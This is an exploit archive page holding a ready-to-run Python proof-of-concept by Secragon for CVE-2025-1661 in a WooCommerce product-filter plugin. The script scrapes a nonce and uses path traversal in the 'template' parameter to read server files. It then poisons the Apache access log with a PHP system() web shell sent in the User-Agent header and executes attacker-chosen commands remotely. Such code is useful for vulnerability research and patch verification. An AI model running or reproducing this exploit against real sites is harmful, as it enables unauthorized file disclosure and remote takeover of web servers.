4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
# CVE-2025-1661
# HUSKY – Products Filter Professional for WooCommerce - Local File Inclusion Exploit 
# by Secragon
# PoC for educational/research purposes only
# Use it at your own risk!

import re
import sys
import urllib3
import requests
import argparse
from bs4 import BeautifulSoup
from colorama import init, Fore, Style
from urllib.parse import urljoin, urlparse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check_version(target):
    
    print("Site version: ", end='')
    try:
        r = requests.get(f"{target}/wp-content/plugins/woocommerce-products-filter/readme.txt", verify=False)
        ver = re.search(r"Stable tag: (.*)", r.text).groups()[0]

    except:
        print(Fore.RED + f'error...')
        exit()

    ver = ver.strip()
    if int(ver.replace('.','')) < 1366:
        print(Fore.GREEN + f'{ver} - vulnerable!')
    else:
        print(Fore.RED + f'{ver} - not vulnerable!')
        exit()



def find_woof_nonce(site_url, session):
        
    visited = set()
    check_header = {
        "User-Agent": "Secragon Offensive Agent"
    }

    def extract_nonce(url):
        try:
            response = session.get(url, timeout=10, headers=check_header)
            if response.status_code != 200:
                return None
            
            soup = BeautifulSoup(response.text, 'html.parser')
            input_tag = soup.find("input", {"class": "woof_text_search_nonce"})
            
            if input_tag and input_tag.has_attr("value"):
                return input_tag["value"]
        
        except requests.RequestException:
            return None

    nonce = extract_nonce(site_url)
    if nonce:
        print(site_url)
        return nonce

    try:
        response = session.get(site_url, timeout=10)
        if response.status_code != 200:
            return None
        
        soup = BeautifulSoup(response.text, 'html.parser')
        base_domain = urlparse(site_url).netloc

        for link in soup.find_all("a", href=True):
            link_url = urljoin(site_url, link["href"])
            parsed_url = urlparse(link_url)

            if parsed_url.netloc == base_domain and link_url not in visited:
                visited.add(link_url)
                nonce = extract_nonce(link_url)
                if nonce:
                    return nonce

    except requests.RequestException:
        return None

    return None  



def exploit_rce(session, target, nonce, cmd):
    
    url = f"{target}/wp-admin/admin-ajax.php"
    data = {
        "woof_text_search_nonce": nonce,
        "action": "woof_text_search",
        "value": "product",
        "template": "../../../../../../../../../../../../var/log/apache2/access.log"
    }

    payload = {
        "User-Agent": "Secragon CMD:<?php system($_GET['cmd']); ?>"
    }


    try:
        print("Checking for log poisoning: ", end="")
        response = session.post(f"{url}?cmd=true", data=data, timeout=10)
        if response.status_code == 200:
            if "Secragon Offensive Agent" in response.text:
                print(Fore.GREEN + "ok!")
                if not "Secragon CMD:" in response.text:
                    print("Exploiting: ", end="")
                    response = session.post(url, data=data, timeout=10, headers=payload)
                    print(Fore.GREEN + "done.")

                print(f"Executing command: {cmd}")
                print()
                response = session.post(f"{url}?cmd={cmd}", data=data, timeout=10)
                match = re.search(r'Secragon CMD:(.*?)\\n\\\"', response.text, re.DOTALL)
                print(match.group(1).strip().replace('\\n', '\n'))
                
            else:
                print(Fore.RED + f"nope.")
    except requests.RequestException as e:
        print(f"Error sending request: {e}")


def exploit_lfi(session, target, nonce, file):
    
    url = f"{target}/wp-admin/admin-ajax.php"
    data = {
        "woof_text_search_nonce": nonce,
        "action": "woof_text_search",
        "value": "product",
        "template": f"../../../../../../../../../../../..{file}"
    }

    payload = {
        "User-Agent": "Secragon Offensive Agent"
    }

    try:
        print(f"Reading file: {file}")
        response = session.post(f"{url}?cmd=true", data=data, timeout=10)
        if response.status_code == 200:
            match = re.search(r'\"options\":\[\"(.*?)\"],\"pagination\"', response.text, re.DOTALL)
            print(match.group(1).strip().replace('\\n', '\n').replace('\\/', '/'))
            
    except requests.RequestException as e:
        print(f"Error sending request: {e}")




init(autoreset=True)
print()
print(Fore.BLUE + "\t\t --- HUSKY – Products Filter Professional for WooCommerce exploit ---")
print(Fore.BLUE + "\t\t\t\t\t (remote code execution)")
print(Fore.RED + "\t\t\t\t\t\t\t by gbrsh@secragon & gnomer0x@secragon")


parser = argparse.ArgumentParser()

parser.add_argument('url', help='http://wphost')
parser.add_argument('-c', '--cmd', required=False, help="command to execute")
parser.add_argument('-f', '--file', required=False, help="file to read")


if len(sys.argv) == 1:
    parser.print_help()
    print()
    exit()

args = parser.parse_args()

check_version(args.url)
session = requests.Session()
for cookie in session.cookies:
    print(f"{cookie.name} = {cookie.value}")

print("Searching for nonce: ", end='')
nonce = find_woof_nonce(args.url, session)
if nonce:
    print(Fore.GREEN + f'{nonce}')
else:
    print(Fore.RED + f'none :/')
    exit()

if args.cmd:
    exploit_rce(session, args.url, nonce, args.cmd)
else:
    exploit_lfi(session, args.url, nonce, args.file)